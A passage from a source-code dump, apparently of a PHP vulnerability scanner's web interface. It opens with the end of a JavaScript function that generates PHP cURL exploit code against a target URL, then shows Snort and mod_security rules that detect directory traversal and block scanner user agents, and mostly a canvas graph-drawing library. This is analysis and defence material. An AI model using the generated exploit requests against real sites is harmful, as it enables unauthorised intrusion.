"; output = output + "curl_setopt($ch, CURLOPT_USERPWD, \"$username:$password\");
"; } output = output + "$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
"; output = output + "
echo $buf;
"; var exploitdiv = document.getElementById('exploitcode'); exploitdiv.innerHTML = output; exploitdiv.style.display = "block"; document.getElementById('exploitbuild').style.display = "none"; } function setssl() { var targetelement = document.getElementById('target'); var newset; var oldset = targetelement.value; if(document.getElementById('ssl').checked) { oldset = oldset.replace(/https:/, "http:"); newset = oldset.replace(/http:/, "https:"); } else { newset = oldset.replace(/https/, "http"); } targetelement.value = newset; } ================================================ FILE: js/hotpatch.js ================================================ function getParams(method) { var query = ""; var elements = document.getElementById(method).elements; for(var i=0;i $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI yabb directory traversal attempt"; flow:to_server,established; uricontent:"/YaBB"; nocase; content:"../"; classtype:attempted-recon;) // mod_security // SERVER SecRule REQUEST_HEADERS:User-Agent "(?:\b(?:m(?:ozilla\/4\.0 \(compatible\)|etis)|webtrends security analyzer|pmafind)\b|n(?:-stealth|sauditor|essus|ikto)|b(?:lack ?widow|rutus|ilbo)|(?:jaascoi|paro)s|webinspect|\.nasl)" "deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',severity:'4'" http://www.modsecurity.org/documentation/modsecurity-apache/1.9.3/html-multipage/04-rules.html */ ================================================ FILE: js/netron.js ================================================ Function.prototype.bind = function(obj) { var fn = this; return function() { return fn.apply(obj, arguments); }; }; Array.prototype.remove = function(obj) { var i = this.length; while (i--) { if (this[i] == obj) { this.splice(i, 1); } } }; Array.prototype.contains = function(obj) { var i = this.length; while (i--) { if (this[i] == obj) { return true; } } return false; }; var Point = function(x, y) { this.x = x; this.y = y; } var Rectangle = function(x, y, width, height) { this.x = x; this.y = y; this.width = width; this.height = height; }; Rectangle.prototype.contains = function(point) { return ((point.x >= this.x) && (point.x <= (this.x + this.width)) && (point.y >= this.y) && (point.y <= (this.y + this.height))); }; Rectangle.prototype.inflate = function(dx, dy) { this.x -= dx; this.y -= dy; this.width += dx + dx + 1; this.height += dy + dy + 1; }; Rectangle.prototype.union = function(rectangle) { var x1 = (this.x < rectangle.x) ? this.x : rectangle.x; var y1 = (this.y < rectangle.y) ? this.y : rectangle.y; var x2 = ((this.x + this.width) < (rectangle.x + rectangle.width)) ? (rectangle.x + rectangle.width) : (this.x + this.width); var y2 = ((this.y + this.height) < (rectangle.y + rectangle.height)) ? (rectangle.y + rectangle.height) : (this.y + this.height); return new Rectangle(x1, y1, x2 - x1, y2 - y1); }; Rectangle.prototype.topLeft = function() { return new Point(this.x, this.y); }; CanvasRenderingContext2D.prototype.dashedLine = function(x1, y1, x2, y2) { this.moveTo(x1, y1); var dx = x2 - x1; var dy = y2 - y1; var count = Math.floor(Math.sqrt(dx * dx + dy * dy) / 3); // dash length var ex = dx / count; var ey = dy / count; var q = 0; while (q++ < count) { x1 += ex; y1 += ey; if (q % 2 === 0) { this.moveTo(x1, y1); } else { this.lineTo(x1, y1); } } if (q % 2 === 0) { this.moveTo(x2, y2); } else { this.lineTo(x2, y2); } }; CanvasRenderingContext2D.prototype.roundedRect = function(x, y, width, height, radius) { this.beginPath(); this.moveTo(x + radius, y); this.lineTo(x + width - radius, y); this.quadraticCurveTo(x + width, y, x + width, y + radius); this.lineTo(x + width, y + height - radius); this.quadraticCurveTo(x + width, y + height, x + width - radius, y + height); this.lineTo(x + radius, y + height); this.quadraticCurveTo(x, y + height, x, y + height - radius); this.lineTo(x, y + radius); this.quadraticCurveTo(x, y, x + radius, y); this.closePath(); }; var Cursors = { arrow: "default", grip: "pointer", // "crosshair", cross: "pointer", // "crosshair", move: "move", select: "pointer" }; var Connector = function(owner, template) { this.owner = owner; this.template = template; this.connections = []; this.hover = false; }; Connector.prototype.getCursor = function(point) { return Cursors.grip; }; Connector.prototype.hitTest = function(rectangle) { if ((rectangle.width === 0) && (rectangle.height === 0)) { return this.getRectangle().contains(rectangle.topLeft()); } return rectangle.contains(this.getRectangle()); }; Connector.prototype.getRectangle = function() { var point = this.owner.getConnectorPosition(this); var rectangle = new Rectangle(point.x, point.y, 0, 0); rectangle.inflate(3, 3); return rectangle; }; Connector.prototype.invalidate = function() { }; Connector.prototype.isValid = function(value) { if (value === this) { return false; } var t1 = this.template.type.split(' '); if (!t1.contains("[array]") && (this.connections.length == 1)) { return false; } if (value instanceof Connector) { var t2 = value.template.type.split(' '); if ((t1[0] != t2[0]) || (this.owner == value.owner) || (t1.contains("[in]") && !t2.contains("[out]")) || (t1.contains("[out]") && !t2.contains("[in]")) || (!t2.contains("[array]") && (value.connections.length == 1))) { return false; } } return true; }; Connector.prototype.paint = function(context, other) { var rectangle = this.getRectangle(); var strokeStyle = this.owner.owner.theme.connectorBorder; var fillStyle = this.owner.owner.theme.connector; if (this.hover) { strokeStyle = this.owner.owner.theme.connectorHoverBorder; fillStyle = this.owner.owner.theme.connectorHover; if (!this.isValid(other)) { fillStyle = "#f00"; } } context.lineWidth = 1; context.strokeStyle = strokeStyle; context.lineCap = "butt"; context.fillStyle = fillStyle; context.fillRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width, rectangle.height); context.strokeRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width, rectangle.height); if (this.hover) { // Tooltip for Connector point var text = ("description" in this.template) ? this.template.description : this.template.name; context.textBaseline = "bottom"; context.font = "8.25pt Tahoma"; var size = context.measureText(text); size.height = 14; var a = new Rectangle(rectangle.x - Math.floor(size.width / 2), rectangle.y + size.height + 6, size.width, size.height); var b = new Rectangle(a.x, a.y, a.width, a.height); a.inflate(4, 1); context.fillStyle = "rgb(255, 255, 231)"; context.fillRect(a.x - 0.5, a.y - 0.5, a.width, a.height); context.strokeStyle = "#000"; context.lineWidth = 1; context.strokeRect(a.x - 0.5, a.y - 0.5, a.width, a.height); context.fillStyle = "#000"; context.fillText(text, b.x, b.y + 13); } }; var Tracker = function(rectangle, resizable) { this.rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height); this.resizable = resizable; this.track = false; }; Tracker.prototype.hitTest = function(point) { // (0, 0) element, (-1, -1) top-left, (+1, +1) bottom-right if (this.resizable) { for (var x = -1; x <= +1; x++) { for (var y = -1; y <= +1; y++) { if ((x !== 0) || (y !== 0)) { var hit = new Point(x, y); if (this.getGripRectangle(hit).contains(point)) { return hit; } } } } } if (this.rectangle.contains(point)) { return new Point(0, 0); } return new Point(-2, -2); }; Tracker.prototype.getGripRectangle = function(point) { var r = new Rectangle(0, 0, 7, 7); if (point.x < 0) { r.x = this.rectangle.x - 7; } if (point.x === 0) { r.x = this.rectangle.x + Math.floor(this.rectangle.width / 2) - 3; } if (point.x > 0) { r.x = this.rectangle.x + this.rectangle.width + 1; } if (point.y < 0) { r.y = this.rectangle.y - 7; } if (point.y === 0) { r.y = this.rectangle.y + Math.floor(this.rectangle.height / 2) - 3; } if (point.y > 0) { r.y = this.rectangle.y + this.rectangle.height + 1; } return r; }; Tracker.prototype.getCursor = function(point) { var hit = this.hitTest(point); if ((hit.x === 0) && (hit.y === 0)) { return (this.track) ? Cursors.move : Cursors.select; } if ((hit.x >= -1) && (hit.x <= +1) && (hit.y >= -1) && (hit.y <= +1) && this.resizable) { if (hit.x === -1 && hit.y === -1) { return "nw-resize"; } if (hit.x === +1 && hit.y === +1) { return "se-resize"; } if (hit.x === -1 && hit.y === +1) { return "sw-resize"; } if (hit.x === +1 && hit.y === -1) { return "ne-resize"; } if (hit.x === 0 && hit.y === -1) { return "n-resize"; } if (hit.x === 0 && hit.y === +1) { return "s-resize"; } if (hit.x === +1 && hit.y === 0) { return "e-resize"; } if (hit.x === -1 && hit.y === 0) { return "w-resize"; } } return null; }; Tracker.prototype.start = function(point, handle) { if ((handle.x >= -1) && (handle.x <= +1) && (handle.y >= -1) && (handle.y <= +1)) { this.handle = handle; this.currentPoint = point; this.track = true; } }; Tracker.prototype.move = function(point) { var h = this.handle; var a = new Point(0, 0); var b = new Point(0, 0); if ((h.x == -1) || ((h.x === 0) && (h.y === 0))) { a.x = point.x - this.currentPoint.x; } if ((h.y == -1) || ((h.x === 0) && (h.y === 0))) { a.y = point.y - this.currentPoint.y; } if ((h.x == +1) || ((h.x === 0) && (h.y === 0))) { b.x = point.x - this.currentPoint.x; } if ((h.y == +1) || ((h.x === 0) && (h.y === 0))) { b.y = point.y - this.currentPoint.y; } var tl = new Point(this.rectangle.x, this.rectangle.y); var br = new Point(this.rectangle.x + this.rectangle.width, this.rectangle.y + this.rectangle.height); tl.x += a.x; tl.y += a.y; br.x += b.x; br.y += b.y; this.rectangle.x = tl.x; this.rectangle.y = tl.y; this.rectangle.width = br.x - tl.x; this.rectangle.height = br.y - tl.y; this.currentPoint = point; }; Tracker.prototype.paint = function(context) { if (this.resizable) { for (var x = -1; x <= +1; x++) { for (var y = -1; y <= +1; y++) { if ((x !== 0) || (y !== 0)) { var rectangle = this.getGripRectangle(new Point(x, y)); context.fillStyle = "#ffffff"; context.strokeStyle = "#000000"; context.lineWidth = 1; context.fillRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width - 1, rectangle.height - 1); context.strokeRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width - 1, rectangle.height - 1); } } } } }; var Element = function(template, point) { this.template = template; this.rectangle = new Rectangle(point.x, point.y, template.defaultWidth, template.defaultHeight); this.content = template.defaultContent; this.text = ''; this.userinput = 0; this.sinks = 0; this.vuln = 0; this.owner = null; this.hover = false; this.selected = false; this.tracker = null; this.connectors = []; for (var i = 0; i < template.connectorTemplates.length; i++) { var connectorTemplate = template.connectorTemplates[i]; this.connectors.push(new Connector(this, connectorTemplate)); } }; Element.prototype.select = function() { this.hover = false; this.selected = true; this.tracker = new Tracker(this.rectangle, ("resizable" in this.template) ? this.template.resizable : false); this.invalidate(); }; Element.prototype.deselect = function() { this.selected = false; this.invalidate(); this.tracker = null; }; Element.prototype.getRectangle = function() { return ((this.tracker !== null) && (this.tracker.track)) ? this.tracker.rectangle : this.rectangle; }; Element.prototype.getPageRectangle = function() { var rectangle = this.getRectangle(); rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height); var canvas = this.owner.canvas; rectangle.x += canvas.offsetLeft; rectangle.y += canvas.offsetTop; return rectangle; }; Element.prototype.setRectangle = function(rectangle) { this.invalidate(); this.rectangle = rectangle; if (this.tracker !== null) { this.tracker.rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height); } this.invalidate(); }; Element.prototype.paint = function(context) { this.template.paint(this, context); if (this.selected) { this.tracker.paint(context); } // mark all connections by mouseover if(this.hover || this.selected) { for (var i = 0; i < this.connectors[1].connections.length; i++) { this.connectors[1].connections[i].lineWidth = 2; if(this.connectors[1].connections[i].color != '#F00') this.connectors[1].connections[i].color = '#00F'; } } else { for (var i = 0; i < this.connectors[1].connections.length; i++) { this.connectors[1].connections[i].lineWidth = 1; if(this.connectors[1].connections[i].color != '#F00') this.connectors[1].connections[i].color = '#000'; } } var rectangle = this.getRectangle(); lines = this.text.split(","); context.textBaseline = "bottom"; context.font = "8.25pt Tahoma"; context.fillStyle = "#000"; context.fillText(lines[0], rectangle.x + 5, rectangle.y + 13 + 20); // userinput DOT context.beginPath(); context.fillStyle = "#FFF"; context.arc(rectangle.x + this.template.defaultWidth-15,rectangle.y + this.template.defaultHeight-11,((this.userinput > 9) ? 9 : this.userinput),0,Math.PI*2,true); context.fill(); context.closePath(); context.beginPath(); context.strokeStyle = "#000"; context.lineWidth = 1; context.arc(rectangle.x + this.template.defaultWidth-15,rectangle.y + this.template.defaultHeight-11,((this.userinput > 9) ? 9 : this.userinput),0,Math.PI*2,true); context.stroke(); context.closePath(); // sensitive sink DOT context.beginPath(); context.fillStyle = this.vuln ? "red" : "#FFCE42"; context.arc(rectangle.x + this.template.defaultWidth-35,rectangle.y + this.template.defaultHeight-11,((this.sinks > 9) ? 9 : this.sinks),0,Math.PI*2,true); context.fill(); context.closePath(); context.beginPath(); context.strokeStyle = "#000"; context.lineWidth = 1; context.arc(rectangle.x + this.template.defaultWidth-35,rectangle.y + this.template.defaultHeight-11,((this.sinks > 9) ? 9 : this.sinks),0,Math.PI*2,true); context.stroke(); context.closePath(); if (this.hover) { // Tooltip for Element if(this.content.length > 20) { context.textBaseline = "bottom"; context.font = "8.25pt Tahoma"; var size = context.measureText(this.content); size.height = 14; var a = new Rectangle(rectangle.x, rectangle.y -20, size.width, size.height); var b = new Rectangle(a.x, a.y, a.width, a.height); a.inflate(4, 1); context.fillStyle = "rgb(255, 255, 231)"; context.fillRect(a.x, a.y, a.width, a.height); context.strokeStyle = "#000"; context.lineWidth = 1; context.strokeRect(a.x , a.y, a.width, a.height); context.fillStyle = "#000"; context.fillText(this.content, b.x, b.y + 13); } /* // enlarge element to view whole text var size = context.measureText(this.text); size.height = 14; var a = new Rectangle(rectangle.x + 4.5, rectangle.y + size.height + 4.5, this.template.defaultWidth-9, this.template.defaultHeight-20 + lines.length*15 - 18); var b = new Rectangle(a.x, a.y+1, a.width, a.height); a.inflate(4, 1); context.fillStyle = "#ddd"; context.fillRect(a.x - 0.5, a.y - 0.5, a.width, a.height); context.strokeStyle = "#246"; context.lineWidth = 2; context.strokeRect(a.x - 0.5, a.y - 0.5, a.width, a.height); context.fillStyle = "#000"; for (var i = 0; i= -1) && (h.x <= +1) && (h.y >= -1) && (h.y <= +1)) { return true; } } for (var i = 0; i < this.connectors.length; i++) { if (this.connectors[i].hitTest(rectangle)) { return true; } } return false; } return rectangle.contains(this.rectangle); }; Element.prototype.getCursor = function(point) { if (this.tracker !== null) { var cursor = this.tracker.getCursor(point); if (cursor !== null) { return cursor; } } /*if (window.event.shiftKey) { return Cursors.add; }*/ return Cursors.select; }; Element.prototype.getConnector = function(name) { for (var i = 0; i < this.connectors.length; i++) { var connector = this.connectors[i]; if (connector.template.name == name) { return connector; } } return null; }; Element.prototype.getConnectorPosition = function(connector) { var rectangle = this.getRectangle(); var point = connector.template.position(this); point.x += rectangle.x; point.y += rectangle.y; return point; }; Element.prototype.setContent = function(content) { this.owner.setElementContent(this, content); }; Element.prototype.getContent = function() { return this.content; }; /* -------------------------- connection ------------------- */ var Connection = function(from, to) { this.from = from; this.to = to; this.toPoint = null; this.color = '#000'; this.lineWidth = 1; }; Connection.prototype.select = function() { this.selected = true; this.invalidate(); }; Connection.prototype.deselect = function() { this.selected = false; this.invalidate(); }; Connection.prototype.remove = function() { this.invalidate(); if ((this.from !== null) && (this.from.connections.contains(this))) { this.from.connections.remove(this); } if ((this.to !== null) && (this.to.connections.contains(this))) { this.to.connections.remove(this); } this.from = null; this.to = null; }; Connection.prototype.insert = function(from, to) { this.from = from; this.to = to; this.from.connections.push(this); this.from.invalidate(); this.to.connections.push(this); this.to.invalidate(); this.invalidate(); }; Connection.prototype.getCursor = function(point) { return Cursors.select; }; Connection.prototype.hitTest = function(rectangle) { if ((this.from !== null) && (this.to !== null)) { var p1 = this.from.owner.getConnectorPosition(this.from); var p2 = this.to.owner.getConnectorPosition(this.to); if ((rectangle.width !== 0) || (rectangle.height !== 0)) { return (rectangle.contains(p1) && rectangle.contains(p2)); } var p = rectangle.topLeft(); // p1 must be the leftmost point if (p1.x > p2.x) { var temp = p2; p2 = p1; p1 = temp; } var r1 = new Rectangle(p1.x, p1.y, 0, 0); var r2 = new Rectangle(p2.x, p2.y, 0, 0); r1.inflate(3, 3); r2.inflate(3, 3); if (r1.union(r2).contains(p)) { if ((p1.x == p2.x) || (p1.y == p2.y)) // straight line { return true; } else if (p1.y < p2.y) { var o1 = r1.x + (((r2.x - r1.x) * (p.y - (r1.y + r1.height))) / ((r2.y + r2.height) - (r1.y + r1.height))); var u1 = (r1.x + r1.width) + ((((r2.x + r2.width) - (r1.x + r1.width)) * (p.y - r1.y)) / (r2.y - r1.y)); return ((p.x > o1) && (p.x < u1)); } else { var o2 = r1.x + (((r2.x - r1.x) * (p.y - r1.y)) / (r2.y - r1.y)); var u2 = (r1.x + r1.width) + ((((r2.x + r2.width) - (r1.x + r1.width)) * (p.y - (r1.y + r1.height))) / ((r2.y + r2.height) - (r1.y + r1.height))); return ((p.x > o2) && (p.x < u2)); } } } return false; }; Connection.prototype.invalidate = function() { if (this.from !== null) { this.from.invalidate(); } if (this.to !== null) { this.to.invalidate(); } }; Connection.prototype.paint = function(context) { context.strokeStyle = this.color; context.lineWidth = (this.hover) ? 2 : this.lineWidth; this.paintLine(context, this.selected); }; Connection.prototype.paintTrack = function(context) { context.strokeStyle = this.from.owner.owner.theme.connection; context.lineWidth = 1; this.paintLine(context, true); }; Connection.prototype.paintLine = function(context, dashed) { if (this.from !== null) { var start = this.from.owner.getConnectorPosition(this.from); var end = (this.to !== null) ? this.to.owner.getConnectorPosition(this.to) : this.toPoint; if ((start.x != end.x) || (start.y != end.y)) { context.beginPath(); if (dashed) { context.dashedLine(start.x, start.y, end.x, end.y); } else { context.moveTo(start.x - 0.5, start.y - 0.5); context.lineTo(end.x - 0.5, end.y - 0.5); } context.closePath(); context.stroke(); } } }; var Selection = function(startPoint) { this.startPoint = startPoint; this.currentPoint = startPoint; }; Selection.prototype.paint = function(context) { var r = this.getRectangle(); context.lineWidth = 1; context.beginPath(); context.dashedLine(r.x - 0.5, r.y - 0.5, r.x - 0.5 + r.width, r.y - 0.5); context.dashedLine(r.x - 0.5 + r.width, r.y - 0.5, r.x - 0.5 + r.width, r.y - 0.5 + r.height); context.dashedLine(r.x - 0.5 + r.width, r.y - 0.5 + r.height, r.x - 0.5, r.y - 0.5 + r.height); context.dashedLine(r.x - 0.5, r.y - 0.5 + r.height, r.x - 0.5, r.y - 0.5); context.closePath(); context.stroke(); }; Selection.prototype.getRectangle = function() { var r = new Rectangle( (this.startPoint.x <= this.currentPoint.x) ? this.startPoint.x : this.currentPoint.x, (this.startPoint.y <= this.currentPoint.y) ? this.startPoint.y : this.currentPoint.y, this.currentPoint.x - this.startPoint.x, this.currentPoint.y - this.startPoint.y); if (r.width < 0) { r.width *= -1; } if (r.height < 0) { r.height *= -1; } return r; }; var ContainerUndoUnit = function() { this.undoUnits = []; }; ContainerUndoUnit.prototype.add = function(undoUnit) { this.undoUnits.push(undoUnit); }; ContainerUndoUnit.prototype.undo = function() { for (var i = 0; i < this.undoUnits.length; i++) { this.undoUnits[i].undo(); } }; ContainerUndoUnit.prototype.redo = function() { for (var i = 0; i < this.undoUnits.length; i++) { this.undoUnits[i].redo(); } }; ContainerUndoUnit.prototype.isEmpty = function() { if (this.undoUnits.length > 0) { for (var i = 0; i < this.undoUnits.length; i++) { if (!("isEmpty" in this.undoUnits[i]) || !this.undoUnits[i].isEmpty()) { return false; } } } return true; }; var InsertElementUndoUnit = function(element, owner) { this.element = element; this.owner = owner; }; InsertElementUndoUnit.prototype.undo = function() { this.element.remove(); }; InsertElementUndoUnit.prototype.redo = function() { this.element.insertInto(this.owner); }; var DeleteElementUndoUnit = function(element) { this.element = element; this.owner = this.element.owner; }; DeleteElementUndoUnit.prototype.undo = function() { this.element.insertInto(this.owner); }; DeleteElementUndoUnit.prototype.redo = function() { this.element.remove(); }; var InsertConnectionUndoUnit = function(connection, from, to) { this.connection = connection; this.from = from; this.to = to; }; InsertConnectionUndoUnit.prototype.undo = function() { this.connection.remove(); }; InsertConnectionUndoUnit.prototype.redo = function() { this.connection.insert(this.from, this.to); }; var DeleteConnectionUndoUnit = function(connection) { this.connection = connection; this.from = connection.from; this.to = connection.to; }; DeleteConnectionUndoUnit.prototype.undo = function() { this.connection.insert(this.from, this.to); }; DeleteConnectionUndoUnit.prototype.redo = function() { this.connection.remove(); }; var ContentChangedUndoUnit = function(element, content) { this.element = element; this.undoContent = element.content; this.redoContent = content; }; ContentChangedUndoUnit.prototype.undo = function() { this.element.content = this.undoContent; }; ContentChangedUndoUnit.prototype.redo = function() { this.element.content = this.redoContent; }; var TransformUndoUnit = function(element, undoRectangle, redoRectangle) { this.element = element; this.undoRectangle = new Rectangle(undoRectangle.x, undoRectangle.y, undoRectangle.width, undoRectangle.height); this.redoRectangle = new Rectangle(redoRectangle.x, redoRectangle.y, redoRectangle.width, redoRectangle.height); }; TransformUndoUnit.prototype.undo = function() { this.element.setRectangle(this.undoRectangle); }; TransformUndoUnit.prototype.redo = function() { this.element.setRectangle(this.redoRectangle); }; var SelectionUndoUnit = function() { this.states = []; }; SelectionUndoUnit.prototype.undo = function() { for (var i = 0; i < this.states.length; i++) { if (this.states[i].undo) { this.states[i].value.select(); } else { this.states[i].value.deselect(); } } }; SelectionUndoUnit.prototype.redo = function() { for (var i = 0; i < this.states.length; i++) { if (this.states[i].redo) { this.states[i].value.select(); } else { this.states[i].value.deselect(); } } }; SelectionUndoUnit.prototype.select = function(value) { this.update(value, value.selected, true); }; SelectionUndoUnit.prototype.deselect = function(value) { this.update(value, value.selected, false); }; SelectionUndoUnit.prototype.update = function(value, undo, redo) { for (var i = 0; i < this.states.length; i++) { if (this.states[i].value == value) { this.states[i].redo = redo; return; } } this.states.push({ value: value, undo: undo, redo: redo }); }; SelectionUndoUnit.prototype.isEmpty = function() { for (var i = 0; i < this.states.length; i++) { if (this.states[i].undo != this.states[i].redo) { return false; } } return true; }; var UndoService = function() { this.container = null; this.stack = []; this.position = 0; }; UndoService.prototype.begin = function() { this.container = new ContainerUndoUnit(); }; UndoService.prototype.cancel = function() { this.container = null; }; UndoService.prototype.commit = function() { if (!this.container.isEmpty()) { this.stack.splice(this.position, this.stack.length - this.position); this.stack.push(this.container); this.redo(); } this.container = null; }; UndoService.prototype.add = function(undoUnit) { this.container.add(undoUnit); }; UndoService.prototype.undo = function() { if (this.position !== 0) { this.position--; this.stack[this.position].undo(); } }; UndoService.prototype.redo = function() { if ((this.stack.length !== 0) && (this.position < this.stack.length)) { this.stack[this.position].redo(); this.position++; } }; // -------------------------------------------- Graph-------------------------------------------------------------- var Graph = function(element) { this.canvas = element; this.canvas.focus(); this.context = this.canvas.getContext("2d"); this.theme = { background: "#FFF", connection: "#000", selection: "#000", connector: "#31456b", connectorBorder: "#fff", connectorHoverBorder: "#000", connectorHover: "#0c0" }; this.pointerPosition = new Point(0, 0); this.shiftKey = false; this.undoService = new UndoService(); this.elements = []; this.activeTemplate = null; this.activeObject = null; this.newElement = null; this.newConnection = null; this.selection = null; this.track = false; this.mouseDownHandler = this.mouseDown.bind(this); this.mouseUpHandler = this.mouseUp.bind(this); this.mouseMoveHandler = this.mouseMove.bind(this); this.doubleClickHandler = this.doubleClick.bind(this); this.touchStartHandler = this.touchStart.bind(this); this.touchEndHandler = this.touchEnd.bind(this); this.touchMoveHandler = this.touchMove.bind(this); this.keyDownHandler = this.keyDown.bind(this); this.keyPressHandler = this.keyPress.bind(this); this.keyUpHandler = this.keyUp.bind(this); this.canvas.addEventListener("mousedown", this.mouseDownHandler, false); this.canvas.addEventListener("mouseup", this.mouseUpHandler, false); this.canvas.addEventListener("mousemove", this.mouseMoveHandler, false); this.canvas.addEventListener("touchstart", this.touchStartHandler, false); this.canvas.addEventListener("touchend", this.touchEndHandler, false); this.canvas.addEventListener("touchmove", this.touchMoveHandler, false); this.canvas.addEventListener("dblclick", this.doubleClickHandler, false); this.canvas.addEventListener("keydown", this.keyDownHandler, false); this.canvas.addEventListener("keypress", this.keyPressHandler, false); this.canvas.addEventListener("keyup", this.keyUpHandler, false); this.isWebKit = typeof navigator.userAgent.split("WebKit/")[1] !== "undefined"; this.isMozilla = navigator.appVersion.indexOf('Gecko/') >= 0 || ((navigator.userAgent.indexOf("Gecko") >= 0) && !this.isWebKit && (typeof navigator.appVersion !== "undefined")); }; Graph.prototype.dispose = function() { if (this.canvas !== null) { this.canvas.removeEventListener("mousedown", this.mouseDownHandler); this.canvas.removeEventListener("mouseup", this.mouseUpHandler); this.canvas.removeEventListener("mousemove", this.mouseMoveHandler); this.canvas.removeEventListener("dblclick", this.doubleClickHandler); this.canvas.removeEventListener("touchstart", this.touchStartHandler); this.canvas.removeEventListener("touchend", this.touchEndHandler); this.canvas.removeEventListener("touchmove", this.touchMoveHandler); this.canvas.removeEventListener("keydown", this.keyDownHandler); this.canvas.removeEventListener("keypress", this.keyPressHandler); this.canvas.removeEventListener("keyup", this.keyUpHandler); this.canvas = null; this.context = null; } }; Graph.prototype.setTheme = function(theme) { this.theme = theme; } Graph.prototype.mouseDown = function(e) { e.preventDefault(); this.canvas.focus(); this.updateMousePosition(e); if (e.button === 0) // left-click { // alt+click allows fast creation of element using the active template if ((this.newElement === null) && (e.altKey)) { this.createElement(this.activeTemplate); } this.pointerDown(); } }; Graph.prototype.mouseUp = function(e) { e.preventDefault(); this.updateMousePosition(e); if (e.button === 0) // left-click { this.pointerUp(); } }; Graph.prototype.mouseMove = function(e) { e.preventDefault(); this.updateMousePosition(e); this.pointerMove(); }; Graph.prototype.doubleClick = function(e) { e.preventDefault(); this.updateMousePosition(e); if (e.button === 0) // left-click { var point = this.pointerPosition; this.updateActiveObject(point); if ((this.activeObject !== null) && (this.activeObject instanceof Element) && (this.activeObject.template !== null) && ("edit" in this.activeObject.template)) { this.activeObject.template.edit(this.activeObject, point); this.update(); } } }; Graph.prototype.touchStart = function(e) { if (e.touches.length == 1) { e.preventDefault(); this.updateTouchPosition(e); this.pointerDown(); } }; Graph.prototype.touchEnd = function(e) { e.preventDefault(); this.pointerUp(); }; Graph.prototype.touchMove = function(e) { if (e.touches.length == 1) { e.preventDefault(); this.updateTouchPosition(e); this.pointerMove(); } }; Graph.prototype.pointerDown = function() { var point = this.pointerPosition; if (this.newElement !== null) { this.undoService.begin(); this.newElement.invalidate(); this.newElement.rectangle = new Rectangle(point.x, point.y, this.newElement.rectangle.width, this.newElement.rectangle.height); this.newElement.invalidate(); this.undoService.add(new InsertElementUndoUnit(this.newElement, this)); this.undoService.commit(); this.newElement = null; } else { this.selection = null; this.updateActiveObject(point); if (this.activeObject === null) { // start selection this.selection = new Selection(point); } else { // start connection if ((this.activeObject instanceof Connector) && (!this.shiftKey)) { if (this.activeObject.isValid(null)) { this.newConnection = new Connection(this.activeObject, null); this.newConnection.toPoint = point; this.activeObject.invalidate(); } } else { // select object if (!this.activeObject.selected) { this.undoService.begin(); var selectionUndoUnit = new SelectionUndoUnit(); if (!this.shiftKey) { this.deselectAll(selectionUndoUnit); } selectionUndoUnit.select(this.activeObject); this.undoService.add(selectionUndoUnit); this.undoService.commit(); } else if (this.shiftKey) { this.undoService.begin(); var deselectUndoUnit = new SelectionUndoUnit(); deselectUndoUnit.deselect(this.activeObject); this.undoService.add(deselectUndoUnit); this.undoService.commit(); } // start tracking var hit = new Point(0, 0); if (this.activeObject instanceof Element) { hit = this.activeObject.tracker.hitTest(point); } for (var i = 0; i < this.elements.length; i++) { var element = this.elements[i]; if (element.tracker !== null) { element.tracker.start(point, hit); } } this.track = true; } } } this.update(); this.updateMouseCursor(); }; Graph.prototype.pointerUp = function() { var point = this.pointerPosition; if (this.newConnection !== null) { this.updateActiveObject(point); this.newConnection.invalidate(); if ((this.activeObject !== null) && (this.activeObject instanceof Connector)) { if ((this.activeObject != this.newConnection.from) && (this.activeObject.isValid(this.newConnection.from))) { this.undoService.begin(); this.undoService.add(new InsertConnectionUndoUnit(this.newConnection, this.newConnection.from, this.activeObject)); this.undoService.commit(); } } this.newConnection = null; } if (this.selection !== null) { this.undoService.begin(); var selectionUndoUnit = new SelectionUndoUnit(); var rectangle = this.selection.getRectangle(); if ((this.activeObject === null) || (!this.activeObject.selected)) { if (!this.shiftKey) { this.deselectAll(selectionUndoUnit); } } if ((rectangle.width !== 0) || (rectangle.weight !== 0)) { this.selectAll(selectionUndoUnit, rectangle); } this.undoService.add(selectionUndoUnit); this.undoService.commit(); this.selection = null; } if (this.track) { this.undoService.begin(); for (var i = 0; i < this.elements.length; i++) { var element = this.elements[i]; if (element.tracker !== null) { element.tracker.track = false; element.invalidate(); var r1 = element.getRectangle(); var r2 = element.tracker.rectangle; if ((r1.x != r2.x) || (r1.y != r2.y) || (r1.width != r2.width) || (r1.height != r2.height)) { this.undoService.add(new TransformUndoUnit(element, r1, r2)); } } } this.undoService.commit(); this.track = false; this.updateActiveObject(point); } this.update(); this.updateMouseCursor(); }; Graph.prototype.pointerMove = function() { var point = this.pointerPosition; if (this.newElement !== null) { // placing new element this.newElement.invalidate(); this.newElement.rectangle = new Rectangle(point.x, point.y, this.newElement.rectangle.width, this.newElement.rectangle.height); this.newElement.invalidate(); } if (this.track) { // moving selected elements for (var i = 0; i < this.elements.length; i++) { var element = this.elements[i]; if (element.tracker !== null) { element.invalidate(); element.tracker.move(point); element.invalidate(); } } } if (this.newConnection !== null) { // connecting two connectors this.newConnection.invalidate(); this.newConnection.toPoint = point; this.newConnection.invalidate(); } if (this.selection !== null) { this.selection.currentPoint = point; } this.updateActiveObject(point); this.update(); this.updateMouseCursor(); }; Graph.prototype.keyDown = function(e) { if (!this.isMozilla) { this.processKey(e, e.keyCode); } }; Graph.prototype.keyPress = function(e) { if (this.isMozilla) { if (typeof this.keyCodeTable === "undefined") { this.keyCodeTable = []; var charCodeTable = { 32: ' ', 48: '0', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5', 54: '6', 55: '7', 56: '8', 57: '9', 59: ';', 61: '=', 65: 'a', 66: 'b', 67: 'c', 68: 'd', 69: 'e', 70: 'f', 71: 'g', 72: 'h', 73: 'i', 74: 'j', 75: 'k', 76: 'l', 77: 'm', 78: 'n', 79: 'o', 80: 'p', 81: 'q', 82: 'r', 83: 's', 84: 't', 85: 'u', 86: 'v', 87: 'w', 88: 'x', 89: 'y', 90: 'z', 107: '+', 109: '-', 110: '.', 188: ',', 190: '.', 